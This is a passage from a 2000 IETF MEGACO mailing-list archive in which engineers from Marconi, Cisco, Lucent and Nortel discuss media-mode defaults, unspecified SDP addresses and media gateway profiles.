> > > Sent: Tuesday, September 05, 2000 12:23 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Is Media required on the Physical
> > > Termination/Default value f
> > > or M ODE
> > >
> > >
> > > I wonder if someone could help me out ... I have another
> > > issue with standard
> > > SDP. If you are using Megaco in conjuction with H.323 you
> > > will probably want
> > > an MGC to ask the MG to reserve resources after receiving
> a Terminal
> > > Capability message. When specifing a remote descriptor you
> > > are currently
> > > required either to give the remote MG's IP address or use
> the CHOOSE
> > > character, but you don't receive the remote MGs IP address
> > > until later when
> > > Open Logical Channel messages are exchanged and you're
> > > certainly not asking
> > > it to choose the remote address. Is there a need for a
> not specified
> > > character (such as '-' ) similar to whats being proposed for ATM ?
> > >
> > >
> > > Michael Mackey,
> > > Marconi Communications,
> > > Tel: +353 1 6638407
> > > - www.marconi.com <http://www.marconi.com/>  -
> > >
> > > -----Original Message-----
> > > From: Rosen, Brian
> > > Sent: Tuesday, August 29, 2000 10:07 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Is Media required on the Physical
> > > Termination/Default value f
> > > or M ODE
> > >
> > >
> > > That's an acceptable default, which almost forces the MGC
> to set it to
> > > something
> > > else in order to get media to flow.
> > >
> > > Brian
> > >
> > > -----Original Message-----
> > > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> > > Sent: Tuesday, August 29, 2000 4:57 PM
> > > To: Rosen, Brian; megaco@standards.nortelnetworks.com
> > > Subject: RE: Is Media required on the Physical
> > > Termination/Default value f
> > > or M ODE
> > >
> > >
> > >
> > > Sorry, Brian, the natural default is "inactive".  It does
> seem that we
> > > failed to specify the defaults in 7.1.7, even though section
> > > 6.2.4 promises
> > > that we would.
> > >
> > > > -----Original Message-----
> > > > From: Rosen, Brian [ mailto:Brian.Rosen@MARCONI.COM
> > > <mailto:Brian.Rosen@MARCONI.COM> ]
> > > > Sent: Tuesday, August 29, 2000 4:30 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Is Media required on the Physical
> > > > Termination/Default value
> > > > f or M ODE
> > > >
> > > >
> > > > Okay, so what would you expect to happen if you audited media of
> > > > the physical termination.  Even if there was no
> default, it should
> > > > be one of the legal states.
> > > >
> > > > Now, suppose it's in an acceptable state, should you
> have to send
> > > > a media descriptor?
> > > >
> > > > What the folks who implemented the MG requiring the
> media descriptor
> > > > say is that "there is no mode, you haven't set it".  I
> can't deal
> > > > with that, because audit has to return a value.  So it has to be
> > > > something, and the MGC should be able to leave it, right?
> > > >
> > > > Now, I said I think MGCs should always send media!
> > > >
> > > > Brian
> > > >
> > > >
> > > >
> > > > > -----Original Message-----
> > > > > From: Michael Thomas [ mailto:mat@cisco.com
> > <mailto:mat@cisco.com> ]
> > > > Sent: Tuesday, August 29, 2000 4:25 PM
> > > > To: Rosen, Brian
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Is Media required on the Physical
> > > > Termination/Default value for
> > > > M ODE
> > > >
> > > >
> > > >
> > > > My general take has been that the MGC shouldn't
> > > > assume much about the MG. If it wants the MG to
> > > > do something, it should tell it. If it doesn't
> > > > know the MG's state, it should audit it.
> > > > Therefore, I think I disagree with the spec
> > > > requiring some set of semantics for underspecified
> > > > commands. What's the gain?
> > > >
> > > >               Mike
> > > >
> > > > Rosen, Brian writes:
> > > >  > Another issue from the event:
> > > >  >
> > > >  > Is it REQUIRED that the MGC send a media descriptor
> to a PHYSICAL
> > > >  > termination in order to get media to flow?
> > > >  >
> > > >  > There are two questions actually:
> > > >  > 1) Is there a default state of MODE (text is silent)
> > > >  > 2) Should the MG demand a media descriptor before allowing
> > > > media flow?
> > > >  >
> > > >  > I believe:
> > > >  > 1) The default for MODE is SendRecieve
> > > >  > 2) MGCs should always send a media descriptor, with at
> > > least a MODE
> > > >  > setting
> > > >  > 3) MGs should not depend on 2)
> > > >  >
> > > >  > Brian
> > > >  >
> > > >
> > >
>
> --
> Flemming Andreasen
> Cisco Systems
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 10:50:22 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA14002
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 10:50:20 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90BC6@standards.nortelnetworks.com>; Wed, 6 Sep 2000 10:35:30 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20190 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 10:35:30 -0400
Received: from alemail1.firewall.lucent.com (alemail1.lucent.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90BC5@standards.nortelnetworks.com>; Wed, 6 Sep 2000
          10:35:30 -0400
Received: from alemail1.firewall.lucent.com (localhost [127.0.0.1]) by
          alemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id KAA03161
          for <MEGACO@standards.nortelnetworks.com>; Wed, 6 Sep 2000 10:48:24
          -0400 (EDT)
Received: from nlmail.nl.lucent.com (h135-85-78-211.lucent.com [135.85.78.211])
          by alemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id
          KAA03129 for <MEGACO@standards.nortelnetworks.com>; Wed, 6 Sep 2000
          10:48:23 -0400 (EDT)
Received: from lucent.com (hzsgp35.nl.lucent.com [135.85.117.145]) by
          nlmail.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id QAA21908; Wed, 6 Sep
          2000 16:48:07 +0200 (MET DST)
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF67880E@whq-msgusr-02.pit.comms.marconi.com>
            <39B65482.44124F69@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B6590A.47FE7D69@lucent.com>
Date:         Wed, 6 Sep 2000 16:47:38 +0200
Reply-To: John Segers <jsegers@LUCENT.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: John Segers <jsegers@LUCENT.COM>
Organization: Lucent Technologies
Subject:      Re: Profiles in Service Change
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

I agree to the underlying idea that profiles could be used to restrict
fragmentation.  On the other hand, I think that Christian has a point.
His example may have been unfortunate because it mentioned a call
signaling protocol, but the point is valid.

Suppose that I want to build a MG that supports the IPphone profile, and
I also build in IP fax support.  If my MG signals that it supports the
IPphone profile, the MGC infers that this MG supports a certain set of
packages and maybe some things that are optional in the base megaco
protocol.  It doesn't have a reason to audit the MG and find out that it
can also do IP fax.  So how do I get the MGC to use the fax support
(other than by provisioning the MGC with this information)?

John

Flemming Andreasen wrote:
>
> OK - I'll buy that.
>
> -- Flemming
>
> "Rosen, Brian" wrote:
>
> > What is wrong is that it promotes proliferation of
> > many overlapping profiles.  Profiles are supposed to be
> > a way of reducing the variability that Packages provide,
> > so that one could reasonably expect to be able to find
> > interoperable MGs and MGCs.
> >
> > No one can legislate this (no protocol police...), but
> > we can encourage, or discourage proliferation of
> > many profiles that attempt to solve the same problem
> > different ways.  If you support 100 profiles, you may
> > as well just ignore the profile info and look at the
> > audited package list!
> >
> > I want to make it HARD to have more than one profile
> > per MG (not MGC).  Not impossible, just hard.  I think
> > that will encourage coalescing around a small number of
> > profiles for specific purposes that all relevant MGs and
> > MGCs support, which in turn will make the protocol successful.
> >
> > What I fear is balkanization by proliferation of profiles,
> > which leads to non-interoperable devices.  It would be non
> > interoperable because there were no common profiles, rather
> > that if you found a common one, it wouldn't work.  The
> > package mechanism is a wonderful way to have all sorts of
> > extensions and features in MGs.  The profile mechanism was
> > designed to provide a way to corral the easy expansion into
> > more limited groups of options.  Generally, successful
> > protocols are not easy "bent" in many different ways -> you
> > get ONE way, and everyone does it that way, and the world
> > is better for it.  The package thing is great, but it is
> > a danger.  The profile is the only way I know to limit it's
> > potential to undermine the effectiveness of the protocol.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > Sent: Wednesday, September 06, 2000 10:01 AM
> > > To: Michael P DiGioia
> > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;
> > > Rosen, Brian
> > > Subject: Re: Profiles in Service Change
> > >
> > >
> > >
> > >
> > > Michael P DiGioia wrote:
> > >
> > > > Brian,
> > > >
> > > > > > So does that mean that nobody can make an MG which
> > > supports more than
> > > > > > one profile? :-)
> > > >
> > > > >One way to get around the limitation is to try to get
> > > > >service using the most "featurefull" profile.  If you fail
> > > > >to find an MGC that can serve that profile, try again with
> > > > >a different profile.
> > > >
> > > > I agree. I believe the point is that any one MG can support
> > > one or more
> > > > profile, however, once the most featurefull profile is
> > > found to be accepted
> > > > by an MGC, use it.
> > >
> > > I disagree as Brian's comments assumes a meaningful ordering
> > > relation between
> > > (at least a resonable subset of) profiles based on some set
> > > of features
> > > supported. I don't see that. Christian's proposal of allowing
> > > a listing of
> > > profiles seemed pretty good to me - what was wrong with this again ?
> > >
> > > -- Flemming
> > >
> > > >
> > > >
> > > > What we build into our IpPhone MG is our choice. I don't
> > > believe this limits
> > > > us in any way. If so, how?
> > > >
> > > > /mpd
> > >
> > > --
> > > Flemming Andreasen
> > > Cisco Systems
> > >
> > >
>
> --
> Flemming Andreasen
> Cisco Systems

--
John Segers                                  email: jsegers@lucent.com
Lucent Technologies                                        Room HE 303
Dept. Forward Looking Work                      phone: +31 35 687 4724
P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 10:55:58 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA14145
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 10:55:54 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90BEF@standards.nortelnetworks.com>; Wed, 6 Sep 2000 10:41:02 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20244 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 10:41:02 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90BEE@standards.nortelnetworks.com>; Wed, 6 Sep 2000 10:41:01
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id HAA03957; Wed, 6 Sep 2000 07:54:02 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <9523A991F7AED311A8B900508B6701F4378827@dl-msgusr-01.eu.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B65B95.1B735FD@cisco.com>
Date:         Wed, 6 Sep 2000 10:58:29 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Is Media required on the Physical Termination/Default value
              for M ODE
X-To:         "Mackey, Michael" <Michael.Mackey@marconi.com>
X-cc:         Colin Perkins <C.Perkins@cs.ucl.ac.uk>, MMUSIC <confctrl@ISI.EDU>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

"Mackey, Michael" wrote:

> I have to say I MUCH prefer the way the guys writing the SDP/ATM spec did it
> (using the '-' to indicate not used)

That would conflict with both RFC 2327 (SDP) and RFC 2543 (SIP). For ATM, that
is probably OK since we've only defined the "IN" nettype in 2327. Actually, the
"addr" production in the SDP grammar should probably have a note to indicate it
can be extended as well.

-- Flemming


> but as long as everyone agrees that
> 0.0.0.0 port 0 indicates an IP address not specified and it makes its way
> into the Implementors guide ... fair enough
>
> Michael Mackey,
> Marconi Communications,
> Tel: +353 1 6638407
> - www.marconi.com <http://www.marconi.com>  -
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > Sent: Wednesday, September 06, 2000 2:53 PM
> > To: Mackey, Michael
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Is Media required on the Physical
> > Termination/Default value
> > for M ODE
> >
> >
> > Right - SIP uses the "0.0.0.0" address trick for this.
> >
> > -- Flemming
> >
> > "Mackey, Michael" wrote:
> >
> > > My understanding of the SDP ABNF is that the c= line is
> > mandatory at either
> > > the session level or the media level and it strictly
> > specifies it to be
> > >
> > >    connection-field =    ["c=" nettype space addrtype space
> > >                          connection-address CRLF]
> > >
> > > which doesn't allow an empty line after the c= ....
> > >
> > > Michael Mackey,
> > > Marconi Communications,
> > > Tel: +353 1 6638407
> > > - www.marconi.com <http://www.marconi.com>  -
> > >
> > > > -----Original Message-----
> > > > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > > > Sent: Tuesday, September 05, 2000 7:40 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Is Media required on the Physical
> > > > Termination/Default value
> > > > f or M ODE
> > > >
> > > >
> > > > Why not send a blank "c=" line?
> > > >
> > > > -----Original Message-----
> > > > From: Mackey, Michael [mailto:Michael.Mackey@MARCONI.COM]
> > > > Sent: Tuesday, September 05, 2000 12:23 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Is Media required on the Physical
> > > > Termination/Default value f
> > > > or M ODE
> > > >
> > > >
> > > > I wonder if someone could help me out ... I have another
> > > > issue with standard
> > > > SDP. If you are using Megaco in conjuction with H.323 you
> > > > will probably want
> > > > an MGC to ask the MG to reserve resources after receiving
> > a Terminal
> > > > Capability message. When specifing a remote descriptor you
> > > > are currently
> > > > required either to give the remote MG's IP address or use
> > the CHOOSE
> > > > character, but you don't receive the remote MGs IP address
> > > > until later when
> > > > Open Logical Channel messages are exchanged and you're
> > > > certainly not asking
> > > > it to choose the remote address. Is there a need for a
> > not specified
> > > > character (such as '-' ) similar to whats being proposed for ATM ?
> > > >
> > > >
> > > > Michael Mackey,
> > > > Marconi Communications,
> > > > Tel: +353 1 6638407
> > > > - www.marconi.com <http://www.marconi.com/>  -
> > > >
> > > > -----Original Message-----
> > > > From: Rosen, Brian
> > > > Sent: Tuesday, August 29, 2000 10:07 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Is Media required on the Physical
> > > > Termination/Default value f
> > > > or M ODE
> > > >
> > > >
> > > > That's an acceptable default, which almost forces the MGC
> > to set it to
> > > > something
> > > > else in order to get media to flow.
> > > >
> > > > Brian
> > > >
> > > > -----Original Message-----
> > > > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> > > > Sent: Tuesday, August 29, 2000 4:57 PM
> > > > To: Rosen, Brian; megaco@standards.nortelnetworks.com
> > > > Subject: RE: Is Media required on the Physical
> > > > Termination/Default value f
> > > > or M ODE
> > > >
> > > >
> > > >
> > > > Sorry, Brian, the natural default is "inactive".  It does
> > seem that we
> > > > failed to specify the defaults in 7.1.7, even though section
> > > > 6.2.4 promises
> > > > that we would.
> > > >
> > > > > -----Original Message-----
> > > > > From: Rosen, Brian [ mailto:Brian.Rosen@MARCONI.COM
> > > > <mailto:Brian.Rosen@MARCONI.COM> ]
> > > > > Sent: Tuesday, August 29, 2000 4:30 PM
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Is Media required on the Physical
> > > > > Termination/Default value
> > > > > f or M ODE
> > > > >
> > > > >
> > > > > Okay, so what would you expect to happen if you audited media of
> > > > > the physical termination.  Even if there was no
> > default, it should
> > > > > be one of the legal states.
> > > > >
> > > > > Now, suppose it's in an acceptable state, should you
> > have to send
> > > > > a media descriptor?
> > > > >
> > > > > What the folks who implemented the MG requiring the
> > media descriptor
> > > > > say is that "there is no mode, you haven't set it".  I
> > can't deal
> > > > > with that, because audit has to return a value.  So it has to be
> > > > > something, and the MGC should be able to leave it, right?
> > > > >
> > > > > Now, I said I think MGCs should always send media!
> > > > >
> > > > > Brian
> > > > >
> > > > >
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Michael Thomas [ mailto:mat@cisco.com
> > > <mailto:mat@cisco.com> ]
> > > > > Sent: Tuesday, August 29, 2000 4:25 PM
> > > > > To: Rosen, Brian
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Is Media required on the Physical
> > > > > Termination/Default value for
> > > > > M ODE
> > > > >
> > > > >
> > > > >
> > > > > My general take has been that the MGC shouldn't
> > > > > assume much about the MG. If it wants the MG to
> > > > > do something, it should tell it. If it doesn't
> > > > > know the MG's state, it should audit it.
> > > > > Therefore, I think I disagree with the spec
> > > > > requiring some set of semantics for underspecified
> > > > > commands. What's the gain?
> > > > >
> > > > >               Mike
> > > > >
> > > > > Rosen, Brian writes:
> > > > >  > Another issue from the event:
> > > > >  >
> > > > >  > Is it REQUIRED that the MGC send a media descriptor
> > to a PHYSICAL
> > > > >  > termination in order to get media to flow?
> > > > >  >
> > > > >  > There are two questions actually:
> > > > >  > 1) Is there a default state of MODE (text is silent)
> > > > >  > 2) Should the MG demand a media descriptor before allowing
> > > > > media flow?
> > > > >  >
> > > > >  > I believe:
> > > > >  > 1) The default for MODE is SendRecieve
> > > > >  > 2) MGCs should always send a media descriptor, with at
> > > > least a MODE
> > > > >  > setting
> > > > >  > 3) MGs should not depend on 2)
> > > > >  >
> > > > >  > Brian
> > > > >  >
> > > > >
> > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
> >
> >

--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 11:06:20 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14543
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 11:06:15 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90C0E@standards.nortelnetworks.com>; Wed, 6 Sep 2000 10:51:16 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20283 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 10:51:15 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90C0D@standards.nortelnetworks.com>; Wed, 6 Sep 2000 10:51:14
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id LAA24641; Wed, 6 Sep 2000 11:04:14 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id LAA11193; Wed, 6 Sep 2000 11:04:15 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XHS4F>; Wed, 6 Sep 2000 11:04:15 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678812@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 6 Sep 2000 11:04:07 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Profiles in Service Change
X-To:         John Segers <jsegers@LUCENT.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I think that if we need to have faxphones, then we need
a profile for them, and there should be one way to do that,
which would be an extension of the Ipphone profile.

The real issue is, suppose you only had an MGC available that
DID understand Ipphone, but did NOT understand Ipfaxphone.

What is the right thing to do?
 a) fail, because you can't fax, and a user may expect that
 b) use the Ipphone protocol and cause a local error if
        a user tried to fax
 c) have local action (provisioning, or local configuration)
        that disables the fax function
I'm not really sure what the best answer is.  It's not
obvious to me that there IS a good answer.  It's good to
use the lowest common denominator to get service, but you
really ought to disable fax at the local terminal (which
could downgrade the profile).

I do think you have raised another issue worth discussing,
which is:
        Should we create a new profile to add one feature,
                or should MGCs audit always?

This also seems to me to not have an ideal answer:
  Making tons of profiles to add features is clearly going to
  give us lots of non-interoperable devices

        but

  auditing removes any usefulness of profiles for actual
  operation of the protocol

Brian

> -----Original Message-----
> From: John Segers [mailto:jsegers@LUCENT.COM]
> Sent: Wednesday, September 06, 2000 10:48 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
>
> I agree to the underlying idea that profiles could be used to restrict
> fragmentation.  On the other hand, I think that Christian has a point.
> His example may have been unfortunate because it mentioned a call
> signaling protocol, but the point is valid.
>
> Suppose that I want to build a MG that supports the IPphone
> profile, and
> I also build in IP fax support.  If my MG signals that it supports the
> IPphone profile, the MGC infers that this MG supports a certain set of
> packages and maybe some things that are optional in the base megaco
> protocol.  It doesn't have a reason to audit the MG and find
> out that it
> can also do IP fax.  So how do I get the MGC to use the fax support
> (other than by provisioning the MGC with this information)?
>
> John
>
> Flemming Andreasen wrote:
> >
> > OK - I'll buy that.
> >
> > -- Flemming
> >
> > "Rosen, Brian" wrote:
> >
> > > What is wrong is that it promotes proliferation of
> > > many overlapping profiles.  Profiles are supposed to be
> > > a way of reducing the variability that Packages provide,
> > > so that one could reasonably expect to be able to find
> > > interoperable MGs and MGCs.
> > >
> > > No one can legislate this (no protocol police...), but
> > > we can encourage, or discourage proliferation of
> > > many profiles that attempt to solve the same problem
> > > different ways.  If you support 100 profiles, you may
> > > as well just ignore the profile info and look at the
> > > audited package list!
> > >
> > > I want to make it HARD to have more than one profile
> > > per MG (not MGC).  Not impossible, just hard.  I think
> > > that will encourage coalescing around a small number of
> > > profiles for specific purposes that all relevant MGs and
> > > MGCs support, which in turn will make the protocol successful.
> > >
> > > What I fear is balkanization by proliferation of profiles,
> > > which leads to non-interoperable devices.  It would be non
> > > interoperable because there were no common profiles, rather
> > > that if you found a common one, it wouldn't work.  The
> > > package mechanism is a wonderful way to have all sorts of
> > > extensions and features in MGs.  The profile mechanism was
> > > designed to provide a way to corral the easy expansion into
> > > more limited groups of options.  Generally, successful
> > > protocols are not easy "bent" in many different ways -> you
> > > get ONE way, and everyone does it that way, and the world
> > > is better for it.  The package thing is great, but it is
> > > a danger.  The profile is the only way I know to limit it's
> > > potential to undermine the effectiveness of the protocol.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > Sent: Wednesday, September 06, 2000 10:01 AM
> > > > To: Michael P DiGioia
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;
> > > > Rosen, Brian
> > > > Subject: Re: Profiles in Service Change
> > > >
> > > >
> > > >
> > > >
> > > > Michael P DiGioia wrote:
> > > >
> > > > > Brian,
> > > > >
> > > > > > > So does that mean that nobody can make an MG which
> > > > supports more than
> > > > > > > one profile? :-)
> > > > >
> > > > > >One way to get around the limitation is to try to get
> > > > > >service using the most "featurefull" profile.  If you fail
> > > > > >to find an MGC that can serve that profile, try again with
> > > > > >a different profile.
> > > > >
> > > > > I agree. I believe the point is that any one MG can support
> > > > one or more
> > > > > profile, however, once the most featurefull profile is
> > > > found to be accepted
> > > > > by an MGC, use it.
> > > >
> > > > I disagree as Brian's comments assumes a meaningful ordering
> > > > relation between
> > > > (at least a resonable subset of) profiles based on some set
> > > > of features
> > > > supported. I don't see that. Christian's proposal of allowing
> > > > a listing of
> > > > profiles seemed pretty good to me - what was wrong with
> this again ?
> > > >
> > > > -- Flemming
> > > >
> > > > >
> > > > >
> > > > > What we build into our IpPhone MG is our choice. I don't
> > > > believe this limits
> > > > > us in any way. If so, how?
> > > > >
> > > > > /mpd
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
>
> --
> John Segers                                  email: jsegers@lucent.com
> Lucent Technologies                                        Room HE 303
> Dept. Forward Looking Work                      phone: +31 35 687 4724
> P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 13:26:32 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA18368
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 13:26:30 -0400 (EDT)
Received: from standards (47.234.32.16:1925) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90C76@standards.nortelnetworks.com>; Wed, 6 Sep 2000 13:11:30 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20416 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 13:11:30 -0400
Received: from qhars002.nortel.com (47.101.112.102:38232) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90C75@standards.nortelnetworks.com>; Wed, 6 Sep 2000
          13:11:30 -0400
Received: from smtprch2.nortel.com (actually erchg0k) by qhars002.nortel.com;
          Wed, 6 Sep 2000 18:24:13 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch2.nortel.com; Wed, 6 Sep 2000 12:19:18 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FDAA59>; Wed, 6 Sep 2000 12:22:59 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D31@zcard00g.ca.nortel.com>
Date:         Wed, 6 Sep 2000 12:22:49 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Profiles in Service Change
X-To:         John Segers <jsegers@LUCENT.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

How about the thought that a profile presents the bulk of an MG's
capabilities, but the MGC has to audit to find out what additional packages
it supports?

> -----Original Message-----
> From: John Segers [mailto:jsegers@LUCENT.COM]
> Sent: Wednesday, September 06, 2000 10:48 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
>
> I agree to the underlying idea that profiles could be used to restrict
> fragmentation.  On the other hand, I think that Christian has a point.
> His example may have been unfortunate because it mentioned a call
> signaling protocol, but the point is valid.
>
> Suppose that I want to build a MG that supports the IPphone
> profile, and
> I also build in IP fax support.  If my MG signals that it supports the
> IPphone profile, the MGC infers that this MG supports a certain set of
> packages and maybe some things that are optional in the base megaco
> protocol.  It doesn't have a reason to audit the MG and find
> out that it
> can also do IP fax.  So how do I get the MGC to use the fax support
> (other than by provisioning the MGC with this information)?
>
> John
>
> Flemming Andreasen wrote:
> >
> > OK - I'll buy that.
> >
> > -- Flemming
> >
> > "Rosen, Brian" wrote:
> >
> > > What is wrong is that it promotes proliferation of
> > > many overlapping profiles.  Profiles are supposed to be
> > > a way of reducing the variability that Packages provide,
> > > so that one could reasonably expect to be able to find
> > > interoperable MGs and MGCs.
> > >
> > > No one can legislate this (no protocol police...), but
> > > we can encourage, or discourage proliferation of
> > > many profiles that attempt to solve the same problem
> > > different ways.  If you support 100 profiles, you may
> > > as well just ignore the profile info and look at the
> > > audited package list!
> > >
> > > I want to make it HARD to have more than one profile
> > > per MG (not MGC).  Not impossible, just hard.  I think
> > > that will encourage coalescing around a small number of
> > > profiles for specific purposes that all relevant MGs and
> > > MGCs support, which in turn will make the protocol successful.
> > >
> > > What I fear is balkanization by proliferation of profiles,
> > > which leads to non-interoperable devices.  It would be non
> > > interoperable because there were no common profiles, rather
> > > that if you found a common one, it wouldn't work.  The
> > > package mechanism is a wonderful way to have all sorts of
> > > extensions and features in MGs.  The profile mechanism was
> > > designed to provide a way to corral the easy expansion into
> > > more limited groups of options.  Generally, successful
> > > protocols are not easy "bent" in many different ways -> you
> > > get ONE way, and everyone does it that way, and the world
> > > is better for it.  The package thing is great, but it is
> > > a danger.  The profile is the only way I know to limit it's
> > > potential to undermine the effectiveness of the protocol.
